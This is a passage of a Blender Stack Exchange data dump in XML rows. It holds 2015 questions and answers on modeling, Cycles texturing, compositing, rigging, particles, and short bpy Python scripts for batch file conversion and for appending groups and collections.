  <row Id="34530" PostTypeId="2" ParentId="34527" CreationDate="2015-07-25T16:11:30.630" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to hide the everything else while your face loops selected.&lt;/li&gt;&#xA;&lt;li&gt;Switch to edge selection mode and select one of the short edges&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to select similar and choose Length from the menu to select all the edge rings.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;W&lt;/kbd&gt; and select Subdivide from the menu and in the operator panel or by hitting &lt;kbd&gt;F6&lt;/kbd&gt; change number of subdivisions to 2 to make 2 edge loops across all the edge rings.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-25T16:11:30.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34531" PostTypeId="2" ParentId="34439" CreationDate="2015-07-25T16:46:48.960" Score="3" Body="&lt;p&gt;Torque causes rotational motion; therefore, applying torque will make the ball roll. This can be done with logic bricks or with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both ways start out on the ball's physics, set &lt;em&gt;Physics Type&lt;/em&gt; to &lt;em&gt;Ridge Body&lt;/em&gt; and adjust the radius to the the size of the ball.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yXjsD.png&quot; alt=&quot;Physics settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Logic bricks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Then on the ball add a &lt;em&gt;Motion&lt;/em&gt; actuator. On the motion actuator, uncheck &lt;em&gt;use local torque&lt;/em&gt; (the &lt;em&gt;L&lt;/em&gt; on the right) and set the torque on one of the axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gxZfJ.png&quot; alt=&quot;Motion actuator&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connect keyboard sensors to the motion actuators with corresponding torque for the axis.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kuh3J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kuh3J.png&quot; alt=&quot;Complete logic setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Python&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using python, create a text block and add this script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic, events&#xA;&#xA;cont = logic.getCurrentController()&#xA;keyboard = logic.keyboard.events&#xA;&#xA;x, y = 0, 0&#xA;&#xA;if keyboard[events.UPARROWKEY]: x += 1&#xA;if keyboard[events.DOWNARROWKEY]: x -= 1&#xA;if keyboard[events.LEFTARROWKEY]: y += 1&#xA;if keyboard[events.RIGHTARROWKEY]: y -= 1&#xA;&#xA;cont.owner.applyTorque((x, y, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then connect an &lt;em&gt;Always&lt;/em&gt; sensor to a &lt;em&gt;Python&lt;/em&gt; controller and activate &lt;em&gt;TRUE level triggering.&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uv0Cr.png&quot; alt=&quot;Logic bricks for script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;br&gt;&#xA;The logic bricks or script will roll the ball. &lt;em&gt;*This is a monkey shaped ball.&lt;/em&gt;*&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mev9a.gif&quot; alt=&quot;Ball rolling around&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="5113" LastEditDate="2015-07-25T16:56:14.567" LastActivityDate="2015-07-25T16:56:14.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34532" PostTypeId="1" AcceptedAnswerId="34535" CreationDate="2015-07-25T16:57:03.580" Score="3" ViewCount="298" Body="&lt;p&gt;In my setup I have two environment textures applied to my world. They are mixed using the factor of &lt;code&gt;Is Camera Ray&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7y7PS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7y7PS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first environment node has a color grid, which is used for illumination. The second has a uv grid, which is shown to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good. If the scene is rendered with diffuse shaders this works perfectly. But when throwing transparency and reflections in the mix, things go south. Transparent objects will show the illuminating environment (color grid) rather than the one that is visible in the render (uv grid). Here's a quick render to illustrate the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OjPOW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OjPOW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see why this is happening so probably I will need to look for an alternative route. Suggestions are very welcome!&lt;/p&gt;&#xA;" OwnerUserId="7460" LastEditorUserId="7460" LastEditDate="2015-07-25T17:37:06.247" LastActivityDate="2015-07-25T18:03:32.547" Title="Problem with transparency when using two world images" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;camera&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34533" PostTypeId="2" ParentId="34509" CreationDate="2015-07-25T17:06:58.713" Score="0" Body="&lt;p&gt;Without actually seeing the the .blend file. It sounds like a possible issue involving rotation/scale. One should always be sure to apply Rotation &amp;amp; Scale when done. ( &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; )&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2015-07-25T17:06:58.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34534" PostTypeId="2" ParentId="34199" CreationDate="2015-07-25T17:18:49.817" Score="0" Body="&lt;p&gt;Duplicate the whole track assembly to make an identical copy; Move it up [say GZ5 or more, merely to give you working access to both objects]; Delete all the sleepers from one model and delete the steel tracks from the other copy; give each model the necessary materials; GZ-5 [to restore the copy back down to its original position and use &quot;join&quot; on the l/h tools menu to join tracks to sleepers but maintain differing materials - just a thought!&lt;/p&gt;&#xA;" OwnerUserId="15914" LastActivityDate="2015-07-25T17:18:49.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34535" PostTypeId="2" ParentId="34532" CreationDate="2015-07-25T18:03:32.547" Score="2" Body="&lt;p&gt;Rearrange your nodes so that the color grid environment texture affects only the diffuse rays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UFlsM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFlsM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere has a glass material and the big cube a glossy one. The small cube on top uses a diffuse shader.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-25T18:03:32.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34537" PostTypeId="1" AcceptedAnswerId="34539" CreationDate="2015-07-25T20:17:59.997" Score="7" ViewCount="7039" Body="&lt;p&gt;I have about thousands of files I need to convert into from one format to another. Both formats are handled by existing add-ons..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the script process would go something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select every source file in a directory and it's sub-directories&lt;/li&gt;&#xA;&lt;li&gt;Store the path and filename of the source format.&lt;/li&gt;&#xA;&lt;li&gt;Delete everything in scene and import the file&lt;/li&gt;&#xA;&lt;li&gt;Export the file to the destination format with the same path and the same filename as the original file, with a different extension.&lt;/li&gt;&#xA;&lt;li&gt;move on to the next item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is that I have very little experience with Blender, and Python is not my area. The manual solution of importing and exporting works perfectly fine, as there is no need for anything to be modified.&lt;/p&gt;&#xA;" OwnerUserId="15915" LastEditorUserId="55" LastEditDate="2016-02-15T16:08:32.713" LastActivityDate="2017-04-27T19:24:35.790" Title="How to batch convert between file formats?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;&lt;import&gt;&lt;conversion&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34538" PostTypeId="1" CreationDate="2015-07-25T21:08:55.310" Score="1" ViewCount="198" Body="&lt;p&gt;I have an issue with the normal/reflection coordinates, the idea is to make the part look like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Eenoo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but ends up looking like this&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V2xi7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V2xi7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to make it look like in the game. What I want to do is make the texture not deform or stretch, like a flat surface. I looked everywhere but I couldn't find how.&lt;/p&gt;&#xA;" OwnerUserId="15917" LastEditorUserId="2217" LastEditDate="2015-07-25T22:14:17.073" LastActivityDate="2015-07-25T22:14:17.313" Title="Reflection/Normal coordinates issue" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34539" PostTypeId="2" ParentId="34537" CreationDate="2015-07-25T21:45:10.823" Score="5" Body="&lt;p&gt;Set the path variable and change the import line to whatever importer you are using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;path = 'C:/path/to/files/'  # set this path&#xA;&#xA;for root, dirs, files in os.walk(path):&#xA;    for f in files:&#xA;        if f.endswith('.meshdata') :&#xA;            mesh_file = os.path.join(path, f)&#xA;            obj_file = os.path.splitext(mesh_file)[0] + &quot;.obj&quot;&#xA;&#xA;            bpy.ops.object.select_all(action='SELECT')&#xA;            bpy.ops.object.delete()&#xA;&#xA;            bpy.ops.import_scene.obj(filepath=mesh_file) # change this line&#xA;&#xA;            bpy.ops.object.select_all(action='SELECT')&#xA;&#xA;            bpy.ops.export_scene.obj(filepath=obj_file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="55" LastEditDate="2016-02-17T21:48:29.413" LastActivityDate="2016-02-17T21:48:29.413" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34540" PostTypeId="1" AcceptedAnswerId="34543" CreationDate="2015-07-25T21:58:40.613" Score="8" ViewCount="6661" Body="&lt;p&gt;I'm searching a way to append a group in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should behave exactly like the &lt;em&gt;Append&lt;/em&gt; function (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;) works, all objects should be local and editable. The idea is to append a character (with rig etc.) via Python and not &lt;em&gt;Link&lt;/em&gt; it (to be able to modify it without making everything local one by one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="55" LastEditDate="2015-09-05T12:42:47.253" LastActivityDate="2020-06-04T12:15:44.673" Title="How to Link/Append a data-block using the Python API?" Tags="&lt;python&gt;&lt;append&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34541" PostTypeId="1" CreationDate="2015-07-25T22:37:58.213" Score="1" ViewCount="1449" Body="&lt;p&gt;I have started using blender for a couple of weeks now and I got familiar with the compositing interface. The problem is if I change the color from, lets say, gray to red through compositing it will still render as grey. How do I fix it so that it will composite?&lt;/p&gt;&#xA;" OwnerUserId="15920" LastEditorUserId="894" LastEditDate="2015-07-26T00:49:31.677" LastActivityDate="2015-07-26T00:49:31.677" Title="How to render in blender with compositing" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34542" PostTypeId="2" ParentId="34541" CreationDate="2015-07-25T22:40:23.887" Score="3" Body="&lt;p&gt;I would check 2 things first:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do you have the Compositing checkbox in the Post Processing panel under Render settings checked? If not the render process will bypass the compositor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZZlWD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZlWD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Do you have your compositing nodetree connected to the Composite node? If you only have the Viewer node hooked up you won't see the effects of your composite.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E9n5G.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9n5G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-25T22:40:23.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34543" PostTypeId="2" ParentId="34540" CreationDate="2015-07-26T00:15:20.187" Score="16" Body="&lt;p&gt;Here's a solution. It appends an instance of the &lt;strong&gt;group&lt;/strong&gt; (Blender 2.7x only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;filepath = &quot;/path/to/file.blend&quot;&#xA;group_name = &quot;CubeGroup&quot;&#xA;&#xA;# append, set to true to keep the link to the original file&#xA;link = False &#xA;&#xA;# append all groups from the .blend file&#xA;with bpy.data.libraries.load(filepath, link=link) as (data_src, data_dst):&#xA;    ## all groups&#xA;    # data_to.groups = data_from.groups&#xA;&#xA;    # only append a single group we already know the name of&#xA;    data_dst.groups = [group_name]&#xA;&#xA;# add the group instance to the scene&#xA;for group in data_dst.groups:&#xA;    ob = bpy.data.objects.new(group.name, None)&#xA;    ob.dupli_group = group&#xA;    ob.dupli_type = 'GROUP'&#xA;    bpy.context.scene.objects.link(ob) # Blender 2.7x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Credit: solution is based on this answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/17876/import-object-without-bpy-ops-wm-link-append&quot;&gt;Import object without bpy.ops.wm.link_append&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's basically the same for &lt;strong&gt;objects&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# path to the blend&#xA;filepath = &quot;/path/to/file.blend&quot;&#xA;&#xA;# name of object(s) to append or link&#xA;obj_name = &quot;Cube&quot;&#xA;&#xA;# append, set to true to keep the link to the original file&#xA;link = False&#xA;&#xA;# link all objects starting with 'Cube'&#xA;with bpy.data.libraries.load(filepath, link=link) as (data_from, data_to):&#xA;    data_to.objects = [name for name in data_from.objects if name.startswith(obj_name)]&#xA;&#xA;#link object to current scene&#xA;for obj in data_to.objects:&#xA;    if obj is not None:&#xA;       #bpy.context.scene.objects.link(obj) # Blender 2.7x&#xA;       bpy.context.collection.objects.link(obj) # Blender 2.8x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of Blender 2.8 &lt;em&gt;groups&lt;/em&gt; have been replaced by the new &lt;a href=&quot;https://code.blender.org/2018/05/collections-and-groups/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;collection system&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# path to the blend&#xA;filepath = &quot;/path/to/file.blend&quot;&#xA;&#xA;# name of collection(s) to append or link&#xA;coll_name = &quot;MyCollection&quot;&#xA;&#xA;# append, set to true to keep the link to the original file&#xA;link = False&#xA;&#xA;# link all collections starting with 'MyCollection'&#xA;with bpy.data.libraries.load(filepath, link=link) as (data_from, data_to):&#xA;    data_to.collections = [c for c in data_from.collections if c.startswith(coll_name)]&#xA;&#xA;# link collection to scene collection&#xA;for coll in data_to.collections:&#xA;    if coll is not None:&#xA;       bpy.context.scene.collection.children.link(coll)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further information: &lt;a href=&quot;https://www.blender.org/api/current/bpy.types.BlendDataLibraries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/api/current/bpy.types.BlendDataLibraries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="31447" LastEditDate="2020-06-04T12:15:44.673" LastActivityDate="2020-06-04T12:15:44.673" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="34544" PostTypeId="1" AcceptedAnswerId="34548" CreationDate="2015-07-26T03:50:07.167" Score="2" ViewCount="2381" Body="&lt;p&gt;I am admittedly new to Blender, and of course cycles. I am working on a scene and I have textures set to my objects that render with internal engine just fine. However, when I go into cycles, everything is greyish. I have two light sources that should be sufficient (I think), I just don't know what I'm doing wrong. This is a screenshot of the cycles result. &lt;a href=&quot;https://i.stack.imgur.com/rgYJc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rgYJc.jpg&quot; alt=&quot;Cycles rendering interior&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastActivityDate="2015-07-26T07:19:15.347" Title="How do I make my textures show in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34545" PostTypeId="1" AcceptedAnswerId="34549" CreationDate="2015-07-26T03:50:09.580" Score="4" ViewCount="1164" Body="&lt;p&gt;So im new but im going all out and trying to model a pistol and for some reason when im about to start beveling the edges, it messes up because there are two vertices located in the exact same point.  So I have to move one out of the way, then delete one, then create new faces.  Its very frustrating and I cant think of anything im doing wrong.  All I know is that it seems like it might be happening when I do a &quot;loop cut&quot; I think is what is called. (hitting ctrl+R)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Ok now after playing around trying to see what the problem is, it got worse.  I didn't change any settings but now every time I try to move a vertices or an edge it just has multiple copies under it. I'm literally unable to do anything to the model without messing it up now.  Please help &lt;/p&gt;&#xA;" OwnerUserId="15926" LastEditorUserId="15926" LastEditDate="2015-07-26T04:03:32.320" LastActivityDate="2015-07-26T13:22:37.030" Title="Why is it creating two vertices in the same spot?" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34546" PostTypeId="1" AcceptedAnswerId="34577" CreationDate="2015-07-26T03:58:33.777" Score="0" ViewCount="350" Body="&lt;p&gt;In pose mode, I try to rotate a bone, but instead it rotates all the bones that are connected to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RNVyf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RNVyf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13828" LastEditorUserId="5113" LastEditDate="2015-07-26T18:10:10.153" LastActivityDate="2015-07-26T22:42:12.900" Title="Armature not bending with connected bones" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34547" PostTypeId="1" CreationDate="2015-07-26T06:52:39.593" Score="0" ViewCount="19" Body="&lt;p&gt;I downloaded this model as an .obj and it came with this alternate color for some of the faces. What is it and how can I remove it. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NwINf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NwINf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15927" LastActivityDate="2015-07-26T06:52:39.593" Title="Multi colored faces while in object mode" Tags="&lt;faces&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-26T07:05:26.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="34548" PostTypeId="2" ParentId="34544" CreationDate="2015-07-26T07:19:15.347" Score="2" Body="&lt;p&gt;The problem occurs because in Cycles you have to apply the texures differently from blender internal.&#xA;To apply a texture in Cycles you have to go to the materials tab, click on the (dot)button next to color and choose Image Texture and finally open your Texture.&lt;a href=&quot;https://i.stack.imgur.com/CpYLe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpYLe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qhhzm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qhhzm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/6hW1j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hW1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-26T07:19:15.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34549" PostTypeId="2" ParentId="34545" CreationDate="2015-07-26T07:42:49.490" Score="3" Body="&lt;p&gt;In Blender, sometimes you can create faces or edges without knowing. For example, if you tried to extrude a face, (shortcut &lt;kbd&gt;E&lt;/kbd&gt;), but then you canceled the operation with escape, you might not notice, but a new face have been created over the one you was selecting, and its now in the same position!. This might be how the problem that you have was started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution might be in the Mesh&gt; Cleanup&gt; Degenerate Dissolve menu found in the 3D view header while in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="15928" LastEditorUserId="241" LastEditDate="2015-07-26T13:22:37.030" LastActivityDate="2015-07-26T13:22:37.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34552" PostTypeId="2" ParentId="31199" CreationDate="2015-07-26T08:54:25.853" Score="6" Body="&lt;p&gt;You can also use the bevel modifier instead, and activate the 'Only Vertices' check. Control size with Width.&lt;/p&gt;&#xA;" OwnerUserId="15932" LastActivityDate="2015-07-26T08:54:25.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34553" PostTypeId="2" ParentId="34483" CreationDate="2015-07-26T10:10:20.347" Score="7" Body="&lt;p&gt;This can be done with a particle system where density is influenced by the image as a texture :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a plane and UV-unwrap it.&lt;/li&gt;&#xA;&lt;li&gt;add a particle system to this plane :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xrNaH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xrNaH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the texture tab change the influence from time to Density :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sBZMY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBZMY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the result :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bDUI5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bDUI5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-26T10:10:20.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34554" PostTypeId="2" ParentId="34483" CreationDate="2015-07-26T10:21:46.590" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you need to create a path in blender, or just import it from other software&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the path should be converted into a mesh object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;now add a particle system to this path&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;choose (Verts) under (emit from)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;select the other object that you want it to be duplicated on the path (under render select object and then choose the object name in the Dupli object field)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;put a check box on (Rotation) and choose (object Z) under initial orientation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;play with other options like the size, number, life time, until you get the object repeated on all the vertex that is on the path, and with the right size&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;done&lt;/p&gt;&#xA;" OwnerUserId="15928" LastActivityDate="2015-07-26T10:21:46.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34555" PostTypeId="1" AcceptedAnswerId="34557" CreationDate="2015-07-26T11:48:29.333" Score="0" ViewCount="412" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pe0QY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pe0QY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;So I've made a pretty fancy hand, that I want to attach to an armature. The thing is, I've tried everything, but the mesh doesn't want to follow the armature. I've removed the double verticles (I had 8) and watched lots of tutorials, but I just can't fix it, at least it looks like. I'm not new at Blender. I'm working on models for a game, but I never tried to use a single armature. I'm new on the forum, but I'll try to add the .blend file, and if you have time, and you feel helping me, you could try to make the mesh follow the armature, because I'm st*pid for it right now, but I'm trying. Yet I'm not planning to do any animations for it, just want to move the fingers the correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: If we finish the game and you keep helping us, you may get displayed on the credits. If you want to help us contact me on Skype, and I send you the file: szabo.jozsef501&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link for the model: &lt;a href=&quot;http://www.mediafire.com/download/dwh3bvw5rir4d5w/HandV2.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/dwh3bvw5rir4d5w/HandV2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15933" LastEditorUserId="15933" LastEditDate="2015-07-26T13:56:45.427" LastActivityDate="2015-07-26T14:02:40.810" Title="Mesh does not follow armature" Tags="&lt;mesh&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34556" PostTypeId="2" ParentId="32844" CreationDate="2015-07-26T11:49:33.163" Score="2" Body="&lt;p&gt;Rather than dynamically load and unload chunks of terrain just move displacement mapping of a fixed static subdivided plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displacement should be made from mix of blender procedural textures (if you mix multiple clouds and musgrave textures you can get mountains, rivers, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane should be big enough so you can't see its borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the character, camera and ground will be obviously static except of some local animations. The movement would be done with rotating and offsetting (the order is important) the displacement and texture of ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resolution of the ground plane should be detailed around character and less divided to the borders. If the ground will be too low res you will see the geometry &quot;float&quot; over the displacement. You can see how that looks &lt;a href=&quot;https://youtu.be/urVeqAJtuHg&quot; 